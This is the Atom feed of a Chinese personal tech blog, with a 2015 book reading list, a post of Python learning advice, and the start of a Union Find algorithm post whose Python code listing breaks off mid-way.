atom.xml

<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title><![CDATA[Tada!]]></title>
  
  <link href="/atom.xml" rel="self"/>
  <link href="http://zijie0.github.io/"/>
  <updated>2015-08-21T07:45:15.430Z</updated>
  <id>http://zijie0.github.io/</id>
  
  <author>
    <name><![CDATA[Zijie0]]></name>
    
  </author>
  
  <generator uri="http://zespia.tw/hexo/">Hexo</generator>
  
  <entry>
    <title><![CDATA[Reading List 2015]]></title>
    <link href="http://zijie0.github.io/2015/08/20/ReadingList/"/>
    <id>http://zijie0.github.io/2015/08/20/ReadingList/</id>
    <published>2015-08-20T08:29:42.000Z</published>
    <updated>2015-08-21T07:34:26.000Z</updated>
    <content type="html"><![CDATA[<h2 id="概览">概览</h2>
<p>翻了下豆瓣记录，去年八月到现在看了67本书，差不多是一周一本……不过有些书质量一般，没有精读。虽然读了很多，但发现我读书总是偏向求新，很多经典的技术书籍比如《SICP》，《Clean Code》，《Code Compelete》之类都没有看……很多买来的书都放着积灰，总想着在图书馆薅羊毛，真是屌丝命……以后要多多改善。</p>
<h2 id="技术类">技术类</h2>
<ul>
<li><a href="http://book.douban.com/subject/4251446/" target="_blank" rel="external">Running Xen</a></li>
</ul>
<p>一星。翻译实在太差了，内容也比较老了……不过图书馆就那么几本Xen的书就将就看了下。说起来同系列的<a href="http://book.douban.com/subject/4251448/" target="_blank" rel="external">另一本书</a>也是翻译奇差，彻底被毁……</p>
<ul>
<li><a href="http://book.douban.com/subject/24868904/" target="_blank" rel="external">高效能程序员的修炼</a></li>
</ul>
<p>四星。翻译不错，挺难得。作者是StackOverFlow的创办者，知名博主，内容也挺有料，就是略松散一些。当然好处就是读起来轻松，在休闲中可以做一些思考。值得一读！</p>
<ul>
<li><a href="http://book.douban.com/subject/21748636/" target="_blank" rel="external">Cloud Computing</a></li>
</ul>
<p>三星半。我读的是中文版，但是印象好像不太深刻……主要还是介绍了很多领域概念知识，细节不多。像Cloud Computing Concepts的公开课里干货就多多了……可以粗读。</p>
<ul>
<li><a href="http://book.douban.com/subject/5333562/" target="_blank" rel="external">深入理解计算机系统</a></li>
</ul>
<p>五星。跟课的时候一起把这本经典给看了。毕竟经典，的确无可挑剔……强烈推荐。</p>
<ul>
<li><a href="http://book.douban.com/subject/25910544/" target="_blank" rel="external">编写高质量代码：改善Python程序的91个建议</a></li>
</ul>
<p>三星。难得找到的一本Python进阶书，内容还是不错的。可惜印刷错误太多，很多地方只是给了个现象，没什么原因解释（尤其元编程部分），所以懂得人没必要看，不懂的看了还是一头雾水……不知道Python进阶有没有更好的书推荐？</p>
<ul>
<li><a href="http://book.douban.com/subject/6433169/" target="_blank" rel="external">Linux内核设计的艺术</a></li>
</ul>
<p>两星。一本比较扯淡的书……书里会对RAM和ROM做专门解释，而一堆汇编，段偏移寻址倒好像默认读者都懂的样子……各种夸张的语句说这是标志性的，那个很巧妙，但看了半天也没有啥恍然大悟的感觉。不得不说作者太沉浸在自己的世界中了是不是根本没读过优秀的技术著作啊。</p>
<ul>
<li><a href="http://book.douban.com/subject/25957954/" target="_blank" rel="external">Zabbix企业级分布式监控系统</a></li>
</ul>
<p>三星。虽然内容看起来就是部署使用文档的感觉，不过好像这类书也没什么更好的写法了？不是搞运维的就不用读了吧……</p>
<ul>
<li><a href="http://book.douban.com/subject/21372236/" target="_blank" rel="external">R和Ruby数据分析之旅</a></li>
</ul>
<p>五星。非常有趣！是我的菜！适合每一个对数据分析有兴趣的人阅读！就不书透了 :)</p>
<ul>
<li><a href="http://book.douban.com/subject/25884108/" target="_blank" rel="external">程序员的呐喊</a></li>
</ul>
<p>五星。比起前面StackOverFlow作者的书，这本风格类似不过文笔内容实在是劲爆多了……Steve Yegge还有一次不小心把内部吐槽的文章直接发成了public引起了轩然大波。看过这书绝对会对此人留下深刻印象！看完就感觉Java真是被黑惨了，为啥还这么流行……</p>
<ul>
<li><a href="http://book.douban.com/subject/1632977/" target="_blank" rel="external">The Little Schemer</a></li>
</ul>
<p>五星。记得上大学时看一个12星座像什么编程语言之类的文章，其中水瓶座一节就是LISP！说明只有那么几个字<strong>“遁入虚空？不，这是屠龙之技！”</strong>这本神书很好地阐释了LISP语言的玄幻之处，尤其最后三章，用任何语言来形容都是惨白的……</p>
<ul>
<li><a href="http://book.douban.com/subject/25713498/" target="_blank" rel="external">迷茫的旅行商</a></li>
</ul>
<p>三星。就讲了经典的旅行商问题，其中竟然还有生物计算方法！（大概就是养一些生物酶让他们去找这个最优路劲，亏你们想得出来……）这个书讲的还是相当前沿的，不过当科普文读趣味性低了点，当专业书看又缺少细节，有点尴尬。</p>
<ul>
<li><a href="http://book.douban.com/subject/7906788/" target="_blank" rel="external">Introduction to Tornado</a></li>
</ul>
<p>四星。学习了下Python中的Web框架，写的挺好的，简明易懂，快速入门。</p>
<ul>
<li><a href="http://book.douban.com/subject/6853651/" target="_blank" rel="external">Mining of Massive Datasets</a></li>
</ul>
<p>四星半。中文版名字叫《大数据》，实在有点太随波逐流了……其实是一本很好的书，配合这门课一起上比看十本书摊上讲大数据的书要来的实在多了！</p>
<ul>
<li><a href="http://book.douban.com/subject/24722611/" target="_blank" rel="external">Linux高性能服务器编程</a></li>
</ul>
<p>三星半。挺实在的一本书，都是用C写，代码一大段一大段的，就是重复度稍微高了点……适合搞底层开发的同学读。</p>
<ul>
<li><a href="http://book.douban.com/subject/25867725/" target="_blank" rel="external">Spark快速数据处理</a></li>
</ul>
<p>两星。内容比较老了，而且又是一个这么高速发展的项目，而且又是“文档型”的一本书，哪怕是Databricks的工程师写的也无济于事……还是直接看官方文档吧。</p>
<ul>
<li><a href="http://book.douban.com/subject/25743939/" target="_blank" rel="external">KVM虚拟化技术</a></li>
</ul>
<p>两星。搞KVM的时候借来看了一下，内容大多是各种命令介绍，安装流程……看下作者自己的<a href="http://smilejay.com/kvm_theory_practice/" target="_blank" rel="external">部分连载</a>就可以差不多感受到全书的风格了。也是因为KVM相关的书很少，没得选啊。</p>
<ul>
<li><a href="http://book.douban.com/subject/25900304/" target="_blank" rel="external">软件驱魔</a></li>
</ul>
<p>三星。标题很有趣就借来看了，诺西的人翻译的，翻译质量不错。但原书是2003年出版的，内容都比较老了……跟一系列倍受推崇的书应该还是有差距，比如<a href="http://book.douban.com/subject/2248759/" target="_blank" rel="external">修改代码的艺术</a>。</p>
<ul>
<li><a href="http://book.douban.com/subject/25873705/" target="_blank" rel="external">R数据可视化手册</a></li>
</ul>
<p>三星。上Data Scientist系列课程时看的，印象不太深了……比较适合当工具手册用。</p>
<ul>
<li><a href="http://book.douban.com/subject/4725272/" target="_blank" rel="external">Web安全测试</a></li>
</ul>
<p>三星半。印象中介绍了不少安全测试（攻击）方法和工具，哈哈，相当实在的一本书，理论背景介绍比较少，感觉应该还是<a href="http://book.douban.com/subject/25733421/" target="_blank" rel="external">Web之困</a>这本更好一些。</p>
<ul>
<li><a href="http://book.douban.com/subject/25921617/" target="_blank" rel="external">MariaDB必知必会</a></li>
</ul>
<p>两星。貌似是某次在微博看到有转发送书时看到产生了兴趣，没想到实体书竟然是又薄又基础……后来看到转发送书活动都觉得那些图片都故意把书P得又厚又大的感觉……</p>
<ul>
<li><a href="http://book.douban.com/subject/25899625/" target="_blank" rel="external">机器学习系统设计</a></li>
</ul>
<p>四星。虽然也是cookbook类型的，不过人家是高大上的机器学习！不由得打分也高了起来……介绍了scipy, scikit-learn, matplotlib等一堆热门工具，搞了几个案例实现。算法原理，数学相关介绍太少，不如<a href="http://book.douban.com/subject/24703171/" target="_blank" rel="external">机器学习实战</a>。</p>
<ul>
<li><a href="http://book.douban.com/subject/21966988/" target="_blank" rel="external">腾云</a></li>
</ul>
<p>四星。SDN的书看了3，4本，这本最好，国产良心！可惜我网络基础知识太差，里面讲到网络硬件的部分更是一窍不通……有机会要再补习一下！</p>
<ul>
<li><a href="http://book.douban.com/subject/10590856/" target="_blank" rel="external">统计学习方法</a></li>
</ul>
<p>五星。篇幅不大，高度浓缩的干货，机器学习的数学基石！我是配合台大的机器学习课程一起看的，被虐得不要不要的。出于对数学的敬畏，必须五星了！</p>
<ul>
<li><a href="http://book.douban.com/subject/25801248/" target="_blank" rel="external">mysql管理之道</a></li>
</ul>
<p>三星半。我觉得还是挺不错的，适合DBA，运维人员阅读，附带了不少作者自己的实战案例。不过现在都用RDS了，这些知识用到的机会估计会越来越少了……</p>
<ul>
<li><a href="http://book.douban.com/subject/25965995/" target="_blank" rel="external">构建之法</a></li>
</ul>
<p>四星半。软件工程类中看过最好的一本书！学霸们刷题之余也是得看看这样的书的，很有实际意义……</p>
<ul>
<li><a href="http://book.douban.com/subject/4743790/" target="_blank" rel="external">The Joy of Clojure</a></li>
</ul>
<p>四星半。我看的是中文版，唉，有种智商被碾压的感觉，Joy在哪里啊……如果你觉得编程语言都差不多嘛，不过是选择实现的一种工具而已，那强烈建议你来读读这本挑战一下自我。</p>
<ul>
<li><a href="http://book.douban.com/subject/25934516/" target="_blank" rel="external">单元测试的艺术</a></li>
</ul>
<p>四星半。个人非常喜欢的一本书，体现了测试，其实也是很有技术含量的嘛！不愧是单元测试经典书籍！而且作者自己也在书中推荐了很多高质量的技术书籍，我正在一本一本找来消化。另外一本用Java作为例子的单元测试书也挺好的，一并推荐下：<a href="http://book.douban.com/subject/10422329/" target="_blank" rel="external">Effective Unit Testing</a>。</p>
<ul>
<li><a href="http://book.douban.com/subject/24872314/" target="_blank" rel="external">恰如其分的软件架构</a></li>
</ul>
<p>三星。读了一半觉得这个人怎么这么多废话（也可以理解成细致吧）……然后一看介绍发现果然是个博士……挺像论文的，理论性的东西太多太枯燥，不太适合苦逼一线人员阅读。</p>
<ul>
<li><a href="http://book.douban.com/subject/25795276/" target="_blank" rel="external">面向对象设计实践指南</a></li>
</ul>
<p>四星。动态语言的面向对象设计指南，边读边想着自己的代码设计问题，还是挺有收获的！后面可以再读读这个领域中的一些经典书籍。</p>
<ul>
<li><a href="http://book.douban.com/subject/25929433/" target="_blank" rel="external">敏捷数据科学</a></li>
</ul>
<p>三星半。没有深入各个数据技术的细节，但是很好地阐释了一个数据产品把各个技术串联起来的方法和工作流程，其中大量运用了Pig，感觉现在应该已经大多被流处理技术替代了吧？</p>
<ul>
<li><a href="http://book.douban.com/subject/24381562/" target="_blank" rel="external">统计思维</a></li>
</ul>
<p>四星。给程序员们复习下统计学知识，后续还有<a href="http://book.douban.com/subject/26340992/" target="_blank" rel="external">贝叶斯思维</a>还没看完……这一系列都还不错的！被<a href="http://book.douban.com/subject/10590856/" target="_blank" rel="external">统计学习方法</a>虐虚了可以来这里找回点自信……</p>
<ul>
<li><a href="http://book.douban.com/subject/10439364/" target="_blank" rel="external">深入学习MongoDB</a></li>
</ul>
<p>四星。平时用到Mongo就看了下。主要讲了Mongo的集群，分片以及后半部分如何应用Mongo来做系统设计的一些最佳实践。挺实用的，这本书很多内容后来应该是被并入了MongoDB权威指南的第二版中……</p>
<ul>
<li><a href="http://book.douban.com/subject/26230343/" target="_blank" rel="external">Python网络编程攻略</a></li>
</ul>
<p>两星。以后看到这个系列的书要当心了，感觉质量都不会太高……就是堆砌了一堆代码的cookbook，写书也不能违反DRY原则啊！</p>
<ul>
<li><a href="http://book.douban.com/subject/26369752/" target="_blank" rel="external">创客圣经</a></li>
</ul>
<p>四星。很有趣的书，设计印刷精美，主要讲Arduino这种开源硬件的各种应用的。不过看完觉得实践起来难度有点大，而且做出来的东西也不是那么酷炫……硬件还是不好搞啊。</p>
<ul>
<li><a href="http://book.douban.com/subject/25853677/" target="_blank" rel="external">大话重构</a></li>
</ul>
<p>三星半。万象城的PageOne看完的技术书……在国产书里写的算挺好了，非常接地气，就是有些地方有点过于接地气了，比如让你给变量干脆用拼音缩写来命名以尊重传统行业的约定俗成……总体来说不错，看得出来作者是个有经验有激情的技术人！</p>
<ul>
<li><a href="http://book.douban.com/subject/26335120/" target="_blank" rel="external">编程格调</a></li>
</ul>
<p>三星。虽然作者如雷贯耳，内容也是很精到的，但是给的例子都是<code>FORTRAN</code>和<code>PL/I</code>的代码……毕竟40年前的书了，完全可以找到一本更现代的讲解更好的书来替代嘛！比如<a href="http://book.douban.com/subject/1459281/" target="_blank" rel="external">这本</a>。</p>
<ul>
<li><a href="http://book.douban.com/subject/25927585/" target="_blank" rel="external">代码之髓</a></li>
</ul>
<p>四星。比较轻松的技术书籍，跟松本行弘写的那两本书有点像。内容比较基础，资深大拿们就不必看了。</p>
<ul>
<li><a href="http://book.douban.com/subject/25879705/" target="_blank" rel="external">机器学习实践指南</a></li>
</ul>
<p>三星。放了很多实现代码，代码的质量略低……原理的介绍过于粗糙分散，实例虽然很多但感觉理真正的机器学习工程还是距离不小。适合初学者抄代码应付大作业啊哈哈。</p>
<ul>
<li><a href="http://book.douban.com/subject/26334785/" target="_blank" rel="external">图数据库</a></li>
</ul>
<p>四星。Neo4j的作者写的，挺开阔眼界的！比SQL复杂不少，建模难度也更大一些，但据说性能提升很大！不知道以后会不会成为流行。</p>
<ul>
<li><a href="http://book.douban.com/subject/25880219/" target="_blank" rel="external">Python开发实战</a></li>
</ul>
<p>三星。书挺厚的，不过大多过于基础了……结构也有点随意。看完收获不大，不过如果以前从没做过Python工程项目还是可以翻一下的。</p>
<ul>
<li><a href="http://book.douban.com/subject/26270372/" target="_blank" rel="external">寻路大数据</a></li>
</ul>
<p>三星半。还是比较偏技术的一本讲大数据的书，介绍了各种相关技术，不过细节较少，适合开拓眼界了解下。</p>
<ul>
<li><a href="http://book.douban.com/subject/26184193/" target="_blank" rel="external">MapReduce设计模式</a></li>
</ul>
<p>三星。没感觉出有什么特殊的设计模式来，给了很多常见任务的Java实现，看完后一大感想就是Spark的MR Job写起来真是比原生Hadoop简洁太多了……</p>
<ul>
<li><a href="http://book.douban.com/subject/25706442/" target="_blank" rel="external">Ganglia系统监控</a></li>
</ul>
<p>三星。又是一本文档书。不过Ganglia设计的确挺特别的，还是值得了解一下。</p>
<ul>
<li><a href="http://book.douban.com/subject/7056800/" target="_blank" rel="external">Ruby元编程</a></li>
</ul>
<p>五星。豆瓣的书评已经写得很好了，的确是本好书，让人反思项目中很多任务有没有更好的实现方式，同时也反思自己所用语言的表达能力，背后的一些设计思路等等……</p>
<ul>
<li><a href="http://book.douban.com/subject/26284510/" target="_blank" rel="external">软件定义数据中心</a></li>
</ul>
<p>四星半。绝对的国产精品！看完感觉我们的征途是星辰大海啊！原来不仅有软件定义网络，存储，虚拟化计算之类的都可以用这个思想来做。从书中行文来看作者绝对是有实践经验的，很多要点难点不做过云计算肯定是无法体会这么深刻的。阿里云，路漫漫其修远兮！</p>
<h2 id="非技术类">非技术类</h2>
<ul>
<li><a href="http://book.douban.com/subject/24107596/" target="_blank" rel="external">神经漫游者</a></li>
</ul>
<p>三星半。科幻史上评价相当高的一部作品，其中的场景描绘很有《银翼杀手》电影的气质感觉，应该也是Cyber Punk的始祖？影响了后续一大波的科幻作品包括大名鼎鼎《黑客帝国》！不过整体不是很对我胃口，不及我喜欢的《计算中的上帝》。</p>
<ul>
<li><a href="http://book.douban.com/subject/10746325/" target="_blank" rel="external">犬的记忆</a></li>
</ul>
<p>四星。难得引进的？森山大道摄影书。感觉不错！好久不关注摄影了……看看心头旧好也没能让我抽出点时间，精力，激情重新拿起相机……人生哪……</p>
<ul>
<li><a href="http://book.douban.com/subject/10785583/" target="_blank" rel="external">思考，快与慢</a></li>
</ul>
<p>四星。也是一本热门书籍，很多内容如果以前没接触过塔勒布这一类的书估计会有很颠覆的感觉……不过我觉得略微罗嗦了一些，在Model Thinking公开课的某节里老师几句就讲完了好几章的精要啊……</p>
<ul>
<li><a href="http://book.douban.com/subject/1789841/" target="_blank" rel="external">倚天屠龙记</a></li>
</ul>
<p>四星。看这个书是因为教主在微博上发了一篇微博：</p>
<blockquote>
<p>……教主曾经谈起自己学习 Windows 的经历，将 Windows帮助文件，Windows 目录下所有 txt, html, log, ini 文件都看一遍，在 Windows 方面就可以做到很熟练。他曾经将这个方法告诉其它想学习的人，无奈其它人根本看不下，而他自己却像看金庸小说一般愉快。教主对此事评价道：“因为我爱她，而他们不爱她，只是想占有她而已。” ……</p>
</blockquote>
<p>然后我就去捞了一本金庸的书来看，是不是我看技术书也能有差不多的热情……现实很残酷，倚天屠龙记我花了3天就看完了，厚度差不多的Systems Performance我足足看了一年才只看了40%…………不服不行</p>
<ul>
<li><a href="http://book.douban.com/subject/20501761/" target="_blank" rel="external">地球上最后的夜晚</a></li>
</ul>
<p>四星。看得第一本波拉尼奥的书，也是近年来倍受推崇的作家。可能是我太久没有好好静下心来欣赏文学作品了，感觉不如我当年读胡安鲁尔福，科塔萨尔那么震撼啊。不过对那篇作家的故事印象还是相当深刻！</p>
<ul>
<li><a href="http://book.douban.com/subject/1054685/" target="_blank" rel="external">沉默的大多数</a></li>
</ul>
<p>四星。基本在公交车/班车上看完的，还是更喜欢他的小说一点。</p>
<ul>
<li><a href="http://book.douban.com/subject/6434486/" target="_blank" rel="external">上帝掷骰子吗？</a></li>
</ul>
<p>五星。前版本看起来像武侠小说，后面对退相干，自发定域之类理论介绍也是相当精彩。文笔出彩，阐释清晰，科普爱好者必读精品！可以同时推荐一部<a href="http://movie.douban.com/subject/25807345/" target="_blank" rel="external">电影</a>，也是对退相干理论的一种精彩想象啊。</p>
<ul>
<li><a href="http://book.douban.com/subject/25981276/" target="_blank" rel="external">双行星与小卷兽</a></li>
</ul>
<p>四星。我竟然还读了一本诗集……</p>
<ul>
<li><a href="http://book.douban.com/subject/1775691/" target="_blank" rel="external">少有人走的路</a></li>
</ul>
<p>三星。看完也不觉得为啥评价有这么高啊，感觉就是心理医生的案例集锦嘛，偏心灵鸡汤，个人感觉实用价值不大……</p>
<ul>
<li><a href="http://book.douban.com/subject/25930025/" target="_blank" rel="external">只是为了好玩</a></li>
</ul>
<p>四星半。想想还是归到非技术类吧！Linus的自传，读起来相当有趣！技术牛逼，还能管理好如此庞大，持久的开源项目，此人是真大神啊……</p>
<ul>
<li><a href="http://book.douban.com/subject/26366382/" target="_blank" rel="external">在这不幸时代的严寒里</a></li>
</ul>
<p>四星。收录了不少卡夫卡的名篇！不过画作什么的就是个噱头吧……</p>
<ul>
<li><a href="http://book.douban.com/subject/25839608/" target="_blank" rel="external">潮骚</a></li>
</ul>
<p>四星半。某天逛完雨中西湖后读了这本书，是这一年来难得心情特别放松的时刻……好文！</p>
<ul>
<li><a href="http://book.douban.com/subject/26306686/" target="_blank" rel="external">创业维艰</a></li>
</ul>
<p>四星。没有CEO的天赋还操着CEO的心哈哈……不过在此类书中应该是非常顶尖的了！值得一读。</p>
<h2 id="后记">后记</h2>
<p>感谢浙图！！</p>
]]></content>
    
    
      <category term="book" scheme="http://zijie0.github.io/tags/book/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[Learning Python]]></title>
    <link href="http://zijie0.github.io/2014/10/15/Learning-Python/"/>
    <id>http://zijie0.github.io/2014/10/15/Learning-Python/</id>
    <published>2014-10-15T06:35:22.000Z</published>
    <updated>2015-08-21T07:34:24.000Z</updated>
    <content type="html"><![CDATA[<p>前几天发了条长微博介绍Python学习经验，顺便整理下同步到博客上来略微提高下活跃度……</p>
<p>作为一名纠结的Ruby粉丝，曾经在网上搜索了无数次<strong>Ruby vs Python</strong>的各类探讨话题，甚至还蛋疼地去查两者的<a href="http://benchmarksgame.alioth.debian.org/u64q/benchmark.php?test=all&amp;lang=python3&amp;lang2=yarv&amp;data=u64q" target="_blank" rel="external">性能比较数据</a>。有这点闲功夫真该多刷几门Coursera学点真本领啊……后来由于工作需要基本就全面投入了Python的怀抱，而且Python的确比Ruby流行许多，很值得向有志于从事IT行业的同学们推荐！以下就是我的一些学习经验：</p>
<p>首先还是推荐一下编辑器。一开始学习不需要写大项目，完全可以用print大法来调试，用简单迅捷的<strong>Sublime Text 2/3</strong>就基本可以了。该有的功能基本都有，基本的跳转也很方便，各种定制可以把编辑器搞得非常漂亮！后面如果想要完整的IDE必须首推<strong>PyCharm</strong>！输入提示更强大，跳转更方便，还有PEP8拼写检查等各种利器，整合各种源码管理系统，用过都说好啊！此外用<strong>IPython</strong>替代自带的REPL也是相当舒适……在交互调试时按tab键会有自动补全，还有各种session保存恢复功能，调试服务器之类的很给力！</p>
<p>一开始学Python语法入门，可以看Coursera的<a href="https://www.coursera.org/course/pythonlearn" target="_blank" rel="external">这个课程</a>。非常简单，讲的也很好……适合没什么基础的同学。美中不足的是做作业的网站需要翻墙……另外还有一个很好的选择是<a href="http://www.codecademy.com/zh/tracks/python" target="_blank" rel="external">Codecademy</a>，交互式学习趣味性十足，也是面向零基础的同学的。像Python这么贴近自然语言的语法和关键词，应该入门都是分分钟的事情了……</p>
<p>会了语法之后就需要进行实践。个人觉得可以自己动手尝试用Python去实现一些算法，比如quicksort，二分查找之类的。写完之后可以去搜索一下网上别人的实现，因为如果你用惯了C／Java之类的话其实有很多更简洁的惯用表达不一定能直接想到。很多时候学习一门新的语言就是要学习它的惯用表达方式啊。用写算法实现来做练习一来代码量不大，能带你熟悉各种Python标准库里的东西，而且还能顺便把算法也练了，一举两得！搜别人算法实现时经常会搜到<a href="http://rosettacode.org/wiki/Longest_common_subsequence" target="_blank" rel="external">这个站</a>，感觉挺不错的……上面那个链接就是寻找LCS的算法实现，既有递归又有动态规划的范例，相当完备实用。另外还有本书叫<a href="http://book.douban.com/subject/4915945/" target="_blank" rel="external">Python Algorithms</a>，据说写的相当好，可以顺带一起读读。自从学了Python，我在Coursera上课时只要没有要求编程语言的作业就基本都用它来写了，20来行就能写个Page Rank算法，实在太方便……</p>
<p>接下来就比较自由了，可以尽量在平时工作中把Python用起来，或者自己去写一个小项目……无奈我好像在这方面很缺乏创意，好像写的“小项目”都是“计算10级黑鸟买回魔与买能量球所产生的额外法球攻击次数的期望值”之类……所以一般也就是在工作中用它来处理处理日志，写写自动化测试之类。写完之后也同样可以去找找开源的项目对比下同样的功能它们会怎么实现。据说有几个不错的Python开源项目值得学习：<a href="https://github.com/mitsuhiko/flask" target="_blank" rel="external">flask</a>, <a href="https://github.com/kennethreitz/requests" target="_blank" rel="external">requests</a>（一万多颗星……恐怖）, <a href="https://github.com/webpy/webpy" target="_blank" rel="external">web.py</a>, <a href="https://github.com/fabric/fabric" target="_blank" rel="external">fabric</a>……牛人的话就可以直接参与感兴趣的开源项目了！看issue，提pr，经验值蹭蹭蹭的。本菜鸟最近在学习传说中高大上的自动化测试项目<a href="https://github.com/autotest/autotest" target="_blank" rel="external">autotest</a>，还不怎么得要领的样子……</p>
<p>关于Python的书和文章有很多 入门的我只看了<a href="http://book.douban.com/subject/4866934/" target="_blank" rel="external">Python基础教程</a>，感觉中规中矩没什么特别深刻的印象。然后最近看了<a href="http://book.douban.com/subject/25910544/" target="_blank" rel="external">编写高质量代码：改善Python程序的91个建议</a>这本书，还是不错的！虽然很多印刷错误（可能编辑不知道缩进对Python代码会有很大影响），元编程那部分没有什么特别透彻的解释，但是其它部分比如讲Python设计模式，工具链，测试驱动开发，各种Profiler的介绍，常见库的使用等内容看看还是很有帮助的！与此类似的还有<a href="https://github.com/qyuhen/book" target="_blank" rel="external">雨痕的书</a>，Dongweiming在douban的<a href="http://www.dongwm.com/archives/fen-xiang-%5B%3F%5D-ge-zhun-bei-gei-gong-si-jiang-pythongao-ji-bian-cheng-de-slide/" target="_blank" rel="external">讲座</a>，这些资料涵盖了很多常用的Python高级主题如描述符，生成器，装饰器等，对阅读理解开源代码，提高自身逼格都很有益处，非常值得推荐！</p>
<p>Python的应用实在是极其广泛……作为Ruby粉丝，我一直都觉得Python的各种下划线看起来很难看难懂……还有什么新式类／经典类，string／unicode的区别，__getattr__／__getattribute__／getattr的不同都让人感觉“意外”，但人家的流行程度就是甩了Ruby好几条街啊！这里有一篇<a href="http://codeblog.dhananjaynene.com/2010/01/dynamically-adding-methods-with-metaprogramming-ruby-and-python/" target="_blank" rel="external">文章</a>很好地比较了下这两种语言在元编程上的不同之处，当然虽然Python的双下划线难看，但在实际工作中的确很少用到元编程，不好维护啊。关于Python无比广泛的应用，感兴趣的可以看一些相关的书和资料，常规点的应用有Web开发（Django, Flask, Pyramid），<a href="http://book.douban.com/subject/4031965/" target="_blank" rel="external">系统管理</a>之类，这些Ruby可能还可以一战，不过其它方面就……比如安全就是Python应用一大领域，很多黑客都非常喜欢用Python，于是就有了很多相关的库，进而就有了很多相关的项目……如Fuzz框架如<a href="https://wiki.mozilla.org/Security/Fuzzing/Peach" target="_blank" rel="external">Peach</a>，还有逆向框架<a href="https://github.com/OpenRCE/paimei" target="_blank" rel="external">白眉</a>等等。这本<a href="http://book.douban.com/subject/6025284/" target="_blank" rel="external">Python灰帽子</a>这本书中也有不少介绍。我在上Stanford Crypto的课时基本都默认你用Python写破解脚本的。Python在科学计算方面也有很多应用，比如SciPy／NumPy，可以看看这本两本<a href="http://book.douban.com/subject/10561724/" target="_blank" rel="external">SciPy and NumPy</a>和<a href="http://book.douban.com/subject/25779298/" target="_blank" rel="external">利用Python进行数据分析</a>。还有高大上的<a href="http://book.douban.com/subject/24669811/" target="_blank" rel="external">机器学习</a>，<a href="http://book.douban.com/subject/5336893/" target="_blank" rel="external">自然语言处理</a>。还有很多超乎想象的应用，比如<a href="http://book.douban.com/subject/20773481/" target="_blank" rel="external">真实世界的Python仪器监控</a>，当年搞蓝牙时还借来看了一阵……分分钟实现物联网啊！甚至<a href="http://book.douban.com/subject/2123546/" target="_blank" rel="external">游戏开发</a>，<a href="http://book.douban.com/subject/10574101/" target="_blank" rel="external">机器视觉</a>这种竟然也都惨遭染指……真有种学好Python走遍天下都不怕的感觉了。</p>
<p>如果大家有什么好的Python学习资源，学习经验欢迎推荐交流！让我们共同进步！</p>
]]></content>
    
    
      <category term="Python" scheme="http://zijie0.github.io/tags/Python/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[Python Algorithms - Union Find]]></title>
    <link href="http://zijie0.github.io/2014/08/08/Python-Algorithms---Union-Find/"/>
    <id>http://zijie0.github.io/2014/08/08/Python-Algorithms---Union-Find/</id>
    <published>2014-08-08T11:07:52.000Z</published>
    <updated>2015-08-21T07:44:40.000Z</updated>
    <content type="html"><![CDATA[<h2 id="算法介绍">算法介绍</h2>
<p>在普林斯顿算法课的第一课中，老师就讲解了这个经典的Union Find数据结构。它主要是用来解决动态连同性问题。在课上举的例子就是做聚类，初始化时每个点都是一个cluster，然后从距离最近的开始做union，同时减少cluster的数量，一直到聚类为所需要的cluster数目为止。在这个过程中有两个典型操作，一是判断目前选取的距离最近的两个点是否已经在同一个cluster中，另外一个是将两个不在同个cluster中的点union起来。我们就要根据这两个操作来设计数据结构及相应算法。</p>
<p>最直观的做法就是Quick Find。用一个数组存每个点（index）所在的组，一开始就初始化为本身即可。在做find时，只要看数组中对应index存的组id即可，时间复杂度为O(1)。而union时则要将其中一个组的所有id都改为另一个组当前的id，所以复杂度达到了O(N)，效率不太行。</p>
<p>Union Find则改进了Union过程，在union时不把所有组成员的id都改了，而只改“带头大哥”的id，形成一个类似树的结构。这样的话每次union时先要调用两次find找到两方的根，然后修改其中一方到另一方名下即可。如果每次只是随便定一方为新老大，这个树很可能变成又瘦又长，变成个链表，又是O(N)的复杂度。这里有个很自然的优化就是把size/height比较小的树并到大树底下去，让这棵树不至于太瘦长。另外在find过程中还可以做path compression，就是将find过程中一层层找上去的中间节点在最后都一起设成根节点的id！这样以后做find就是一步的事情了！整体的Python代码实现如下：</p>
<figure class="highlight Python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div></pre></td><td class="code"><pre><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">UF</span><span class="params">(object)</span>:</span></div><div class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self, size)</span>:</span></div><div class="line">        self.parent = []</div><div class="line">        self.rank = []</div><div class="line">        self.count = size</div><div class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">0</span>, size):</div><div class="line">            self.parent.append(i)</div><div class="line">            self.rank.append(<span class="number">0</span>)</div><div class="line"> </div><div class="line">    <span class="function"><span class="keyword">def</span> <span class="title">find</span><span class="params">(self, i)</span>:</span></div><div class="line">        <span class="comment"># with path compression</span></div><div class="line">        <span class="keyword">if</span> self.parent[i] != i:</div><div class="line">            self.parent[i] = self.find(self.parent[i])</div><div class="line">        <span class="keyword">return</span> self.parent[i]</div><div class="line"> </div><div class="line">        <span class="comment"># another impl</span></div><div class="line">        <span class="comment"># root = i</span></div><div class="line">        <span class="comment"># while root != self.parent[root]:</span></div><div class="line">        <span class="comment">#     self.parent[root] = self.parent[self.parent[root]]</span></div><div class="line">        <span class="comment">#     root = self.parent[root]</span></div><div class="line">        <span class="comment"># return root</span></div><div class="line"> </div><div class="line">    <span class="function"><span class="keyword">def</span> <span class="title">connected</span><span class="params">(self, i, j)</span>:</span></div><div class="line">        <span class="keyword">return</span> self.find(i) == self.find(j)</div><div class="line"> </div><div class="line">    <span class="function"><span class="keyword">def</span> <span class="title">union</span><span class="params">(self, i, 